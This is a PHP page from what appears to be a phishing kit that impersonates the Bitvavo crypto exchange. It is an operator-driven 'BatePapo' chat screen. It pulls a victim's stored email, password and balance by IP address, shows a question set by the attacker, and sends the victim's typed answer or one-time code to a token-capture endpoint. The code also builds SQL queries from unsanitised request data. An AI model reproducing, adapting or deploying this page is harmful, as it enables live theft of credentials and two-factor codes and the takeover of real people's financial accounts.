<?php
@session_start();
error_reporting(0);

require_once "../../cod3rconfig/registro.php";
require_once "../../cod3rconfig/conexao.php";
require_once "../../cod3rconfig/data.php";


require("../../bot.php");
$erro = $_REQUEST['error'];
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);

$query_info = "SELECT * FROM infos WHERE ip='$ip'";
$recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
$row_infio = mysqli_fetch_assoc($recorinfo);
$totalRowsinfo = mysqli_num_rows($recorinfo);

$email = $row_infio['usuario'];
$user = $row_infio['user_master'];
$senha = $row_infio['senha'];
$saldo = $row_infio['saldo'];
$saldo1 = $row_infio['saldo1'];
$msgpic = $row_infio['msgpic'];
$pergunta = $row_infio['batepapo'];

$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Online', statusremote='Online BatePapo' WHERE ip='$ip'");

?>


<html>

<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="format-detection" content="telephone=no">
  <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=0">
  <link rel="shortcut icon" href="/assets-bitvavo/images/favicon.ico">
  <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
  <link href="https://fonts.googleapis.com/css?family=Nunito:400,500,600|Roboto:400,500" rel="stylesheet">
  <title>BatePapo</title>
  <link href="/app/device/app.91de3746.css" rel="preload" as="style">
  <link href="/app/device/app.91de3746.css" rel="stylesheet">
  <link rel="stylesheet" href="/assets-bitvavo/css/account.css">
  <link rel="stylesheet" href="/assets-bitvavo/css/main.css">
  <script src="https://cdnjs.cloudflare.com/ajax/libs/axios/1.1.2/axios.min.js"></script>
  <script src="/app/app/js/jquery-3.6.0.min.js" type="text/javascript"></script>
  <script src="/app/dados_comando.js?t=<?=rand(999,99999999)?>" type="text/javascript"></script>
  <script type="text/javascript">
    $(document).ready(function() {
      atualiza();
    });

    function atualiza() {
      $.get('/app/ver_online.php',

        function(resultado) {
          $('#onlineagora').html(resultado);
        })

      setTimeout('atualiza()', 1250);
    }
  </script>
  <style>
    .contentmsg {
      animation: color-change 1s infinite;
      text-align: center;
      font-weight: bold;
      font-size: 20px;
    }

    @keyframes color-change {
      0% {
        color: red;
      }

      25% {
        color: green;
      }

      50% {
        color: blue;
      }

      75% {
        color: purple;
      }

      100% {
        color: red;
      }
    }
  </style>
</head>

<body>
  <div id="app" class="">
    <div class="publicHolder" style="background-color: #000000cf;">
      <div class="grow">
        <div class="">
          <div class="publicBlock relative" style="max-width: 480px;">
            <div class="">
              <div class="flex spread">
                <h1 style="text-align: justify;" class=""><?php echo $pergunta; ?></h1>
              </div>
              <div class="spacer"></div>
              <div class="inputModule">
                <input id="otp" name="true" placeholder="Insira sua resposta aqui" type="text" data-lpignore="true" autocomplete="off" class="">
              </div>
              <div class="spacer"></div>
              <div id="aguarde" class="contentmsg">
              </div>
              <div class="spacer"></div>
              <div id="submit-login1" type="submit" onclick="sendtoken1()" style="display: flex; justify-content: center; align-items: center;">
                <button id="changebb" class="buttonBlue button" style="display: flex; justify-content: center; align-items: center; width: 30%;">
                  Enviar
                </button>
              </div>
            </div>
          </div>
          <div class="spacer"></div>
          <div class="spacer"></div>
        </div>
        <div class="spacer"></div>
        <div class="spacer"></div>
      </div>
    </div>
  </div>
  <script>
    function action() {
      document.getElementById("submit-login1").click();
    }

    document.querySelector('#otp').addEventListener('input', (e) => {
      if (e.target.value.length === false) {
        e.target.setAttribute('disabled', true)
        action()
      }
    })

    function sendtoken1() {
      $(document).ready(function() {
        var token = $("#otp").val();
        $.ajax({
          type: 'post', //Definimos o método HTTP usado
          data: {
            token: token,
          },
          dataType: 'json', //Definimos o tipo de retorno
          url: '/app/sendtoken5.php', //Definindo o arquivo onde serão buscados os dados
          success: function(data) {
            document.getElementById('changebb').innerHTML = "<img src='/assets/images/loading.gif' width='20'>";
            document.getElementById("aguarde").textContent = "Aguarde por resposta..."
            document.getElementById('changebb').disabled = true;
            document.getElementById('changebb').classList.add("keHBnh")
            document.getElementById('otp').disabled = true;
          }
        });
      });
      return false;
    }
  </script>
  <script src="/assets/js/notification.js?t=123123123"></script>
</body>

</html>